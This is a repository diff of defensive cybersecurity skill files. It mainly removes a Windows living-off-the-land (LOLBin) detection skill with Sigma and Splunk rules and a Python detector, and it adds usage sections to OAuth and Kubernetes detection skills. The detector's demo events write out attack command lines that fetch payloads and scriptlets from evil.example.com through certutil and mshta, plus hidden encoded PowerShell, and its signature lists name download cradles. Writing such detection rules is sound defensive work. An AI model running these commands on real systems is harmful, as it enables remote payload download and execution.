Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,19 +0,0 @@
---
name: detecting-living-off-the-land-attacks
description: >
Detect abuse of legitimate Windows binaries (LOLBins) used for living off
the land attacks. Monitors process creation, command-line arguments, and
parent-child relationships to identify suspicious LOLBin execution patterns.
domain: cybersecurity
subdomain: threat-detection
tags: [lolbins, lotl, fileless-attacks, process-monitoring]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Detecting Living Off the Land Attacks
Monitor for suspicious use of legitimate Windows binaries (LOLBins)
including certutil, mshta, rundll32, regsvr32, and others used in
fileless and living-off-the-land attack techniques.
@@ -1,70 +0,0 @@
# API Reference: Detecting Living Off the Land Attacks
## LOLBAS Project
- Website: https://lolbas-project.github.io/
- API: https://lolbas-project.github.io/api/lolbas.json
- GitHub: https://github.com/LOLBAS-Project/LOLBAS
## Key LOLBins and MITRE Mappings
| Binary | MITRE ATT&CK | Abuse Type |
|--------|-------------|------------|
| certutil.exe | T1140, T1105 | File download, decode |
| mshta.exe | T1218.005 | Script execution via HTA |
| rundll32.exe | T1218.011 | Proxy execution |
| regsvr32.exe | T1218.010 | COM scriptlet execution |
| msbuild.exe | T1127.001 | Code compilation |
| bitsadmin.exe | T1197, T1105 | File download, persistence |
| wmic.exe | T1047 | WMI execution |
| cscript.exe | T1059.005 | VBS/JS script execution |
| installutil.exe | T1218.004 | .NET install bypass |
| powershell.exe | T1059.001 | Script execution |
## Sysmon Event IDs for Detection
| Event ID | Description |
|----------|------------|
| 1 | Process Create (CommandLine, ParentImage) |
| 3 | Network Connection (detect downloads) |
| 7 | Image Loaded (DLL side-loading) |
| 11 | File Create (dropped payloads) |
| 15 | FileCreateStreamHash (ADS abuse) |
## Sigma Rules for LOLBin Detection
```yaml
title: Certutil File Download
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\\certutil.exe'
CommandLine|contains|all:
- 'urlcache'
- 'split'
- 'http'
condition: selection
level: high
tags:
- attack.defense_evasion
- attack.t1140
```
## Splunk SPL Detection
```spl
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|bitsadmin)\\.exe$")
| eval suspicious=case(
like(CommandLine, "%urlcache%"), "certutil download",
like(CommandLine, "%javascript:%"), "script execution",
like(CommandLine, "%-enc %"), "encoded command",
true(), "review")
| where suspicious!="review"
| table _time Computer User Image CommandLine ParentImage suspicious
```
## Suspicious Parent-Child Relationships
| Parent | Suspicious Child |
|--------|-----------------|
| winword.exe | cmd.exe, powershell.exe, mshta.exe |
| excel.exe | cmd.exe, powershell.exe, wmic.exe |
| outlook.exe | powershell.exe, cmd.exe |
| wmiprvse.exe | powershell.exe, cmd.exe |
@@ -1,221 +0,0 @@
#!/usr/bin/env python3
"""Living off the land (LOLBin) attack detection agent.
Monitors process creation logs for suspicious use of legitimate Windows
binaries, correlates with LOLBAS project data, and flags anomalous
command-line patterns and parent-child process relationships.
"""
import argparse
import json
import os
import re
import datetime
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
LOLBIN_SIGNATURES = {
"certutil.exe": {
"suspicious_args": [
r"-urlcache", r"-split", r"-decode", r"-encode",
r"-verifyctl", r"http[s]?://",
],
"mitre": ["T1140", "T1105"],
"description": "Certificate utility abused for file download/decode",
},
"mshta.exe": {
"suspicious_args": [r"javascript:", r"vbscript:", r"http[s]?://", r"about:"],
"mitre": ["T1218.005"],
"description": "HTML Application host used for script execution",
},
"rundll32.exe": {
"suspicious_args": [
r"javascript:", r"shell32\.dll.*ShellExec_RunDLL",
r"url\.dll.*FileProtocolHandler", r"advpack\.dll.*RegisterOCX",
],
"mitre": ["T1218.011"],
"description": "DLL loader abused for proxy execution",
},
"regsvr32.exe": {
"suspicious_args": [r"/s", r"/u", r"/i:http", r"scrobj\.dll"],
"mitre": ["T1218.010"],
"description": "COM registration utility abused for script execution",
},
"msbuild.exe": {
"suspicious_args": [r"\.xml$", r"\.csproj$", r"/p:", r"\.tmp"],
"mitre": ["T1127.001"],
"description": "Build tool abused for code compilation and execution",
},
"installutil.exe": {
"suspicious_args": [r"/logfile=", r"/LogToConsole=false", r"/U"],
"mitre": ["T1218.004"],
"description": ".NET install utility abused for code execution",
},
"bitsadmin.exe": {
"suspicious_args": [r"/transfer", r"/create", r"/addfile", r"http[s]?://"],
"mitre": ["T1197", "T1105"],
"description": "BITS service abused for file download and persistence",
},
"wmic.exe": {
"suspicious_args": [
r"process\s+call\s+create", r"os\s+get", r"/node:",
r"shadowcopy\s+delete",
],
"mitre": ["T1047"],
"description": "WMI command-line abused for execution and recon",
},
"cscript.exe": {
"suspicious_args": [r"\.vbs", r"\.js", r"//E:jscript", r"//B"],
"mitre": ["T1059.005", "T1059.007"],
"description": "Script host executing VBS/JS from unusual location",
},
"powershell.exe": {
"suspicious_args": [
r"-enc\s+[A-Za-z0-9+/=]{20,}", r"-ExecutionPolicy\s+Bypass",
r"-WindowStyle\s+Hidden", r"Invoke-Expression",
r"IEX\s*\(", r"Net\.WebClient", r"DownloadString",
],
"mitre": ["T1059.001"],
"description": "PowerShell with obfuscation or download cradle",
},
}
SUSPICIOUS_PARENTS = {
"winword.exe": "Office application spawning child process",
"excel.exe": "Office application spawning child process",
"outlook.exe": "Email client spawning child process",
"powerpnt.exe": "Office application spawning child process",
"wmiprvse.exe": "WMI provider executing child process",
"svchost.exe": "Service host spawning unexpected child",
}
def analyze_process_event(process_name, command_line, parent_name=None):
"""Analyze a process creation event for LOLBin abuse."""
findings = []
proc_lower = process_name.lower()
cmd_lower = command_line.lower() if command_line else ""
sig = LOLBIN_SIGNATURES.get(proc_lower)
if sig:
matched_patterns = []
for pattern in sig["suspicious_args"]:
if re.search(pattern, cmd_lower, re.IGNORECASE):
matched_patterns.append(pattern)
if matched_patterns:
findings.append({
"type": "lolbin_abuse",
"binary": proc_lower,
"description": sig["description"],
"mitre_techniques": sig["mitre"],
"matched_patterns": matched_patterns,
"command_line": command_line[:200],
"severity": "HIGH",
})
if parent_name and parent_name.lower() in SUSPICIOUS_PARENTS:
findings.append({
"type": "suspicious_parent",
"parent": parent_name.lower(),
"child": proc_lower,
"description": SUSPICIOUS_PARENTS[parent_name.lower()],
"severity": "HIGH",
})
return findings
def scan_process_log(log_entries):
"""Scan a list of process creation log entries."""
all_findings = []
for entry in log_entries:
findings = analyze_process_event(
entry.get("process_name", ""),
entry.get("command_line", ""),
entry.get("parent_name"),
)
if findings:
entry_result = {"event": entry, "findings": findings}
all_findings.append(entry_result)
return all_findings
def fetch_lolbas_data():
"""Fetch LOLBAS project data from GitHub."""
if not HAS_REQUESTS:
return {"error": "requests not installed"}
url = "https://lolbas-project.github.io/api/lolbas.json"
try:
resp = requests.get(url, timeout=15)
if resp.status_code == 200:
data = resp.json()
return {"count": len(data), "binaries": [d.get("Name", "") for d in data[:30]]}
return {"error": f"HTTP {resp.status_code}"}
except Exception as e:
return {"error": str(e)}
def main():
parser = argparse.ArgumentParser(
description="Detect living off the land (LOLBin) attacks"
)
parser.add_argument("--log-file", help="JSON file with process creation events")
parser.add_argument("--fetch-lolbas", action="store_true", help="Fetch LOLBAS project data")
parser.add_argument("--output", "-o", help="Output JSON report path")
args = parser.parse_args()
print("[*] Living Off the Land Attack Detection Agent")
print(f" Monitored LOLBins: {len(LOLBIN_SIGNATURES)}")
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"}
if args.fetch_lolbas:
lolbas = fetch_lolbas_data()
report["lolbas_project"] = lolbas
print(f"[*] LOLBAS data: {lolbas}")
if args.log_file and os.path.isfile(args.log_file):
with open(args.log_file) as f:
events = json.load(f)
results = scan_process_log(events)
report["findings"] = results
print(f"[*] Events analyzed: {len(events)}")
print(f"[*] Suspicious findings: {len(results)}")
else:
demo_events = [
{"process_name": "certutil.exe",
"command_line": "certutil.exe -urlcache -split -f https://evil.example.com/payload.exe C:\\temp\\payload.exe",
"parent_name": "cmd.exe"},
{"process_name": "mshta.exe",
"command_line": "mshta.exe javascript:a=GetObject('script:https://evil.example.com/s.sct')",
"parent_name": "winword.exe"},
{"process_name": "powershell.exe",
"command_line": "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -enc SQBFAFgA...",
"parent_name": "excel.exe"},
{"process_name": "notepad.exe",
"command_line": "notepad.exe C:\\Users\\admin\\notes.txt",
"parent_name": "explorer.exe"},
]
results = scan_process_log(demo_events)
report["findings"] = results
print(f"\n[DEMO] Analyzed {len(demo_events)} process events")
for r in results:
for f in r["findings"]:
print(f" [!] {f['type']}: {f['binary'] if 'binary' in f else f.get('child','')} "
f"- {f['description']}")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps({"lolbins_monitored": len(LOLBIN_SIGNATURES),
"findings": len(report.get("findings", []))}, indent=2))
if __name__ == "__main__":
main()
@@ -16,3 +16,18 @@ license: Apache-2.0
Analyze OAuth sign-in telemetry for indicators of token theft including
impossible travel, device fingerprint changes, and token replay attacks.
## When to Use
- When investigating security incidents that require detecting oauth token theft
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Familiarity with identity security concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
@@ -15,6 +15,14 @@ license: Apache-2.0
Privilege escalation in Kubernetes occurs when a pod or container gains elevated permissions beyond its intended scope. This includes running as root, using privileged mode, mounting host filesystems, enabling dangerous Linux capabilities, or exploiting kernel vulnerabilities. Detection combines admission control (prevention), runtime monitoring (detection), and audit logging (investigation).
## When to Use
- When investigating security incidents that require detecting privilege escalation in kubernetes pods
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Kubernetes cluster v1.25+ (Pod Security Admission support)

Some files were not shown because too many files have changed in this diff Show More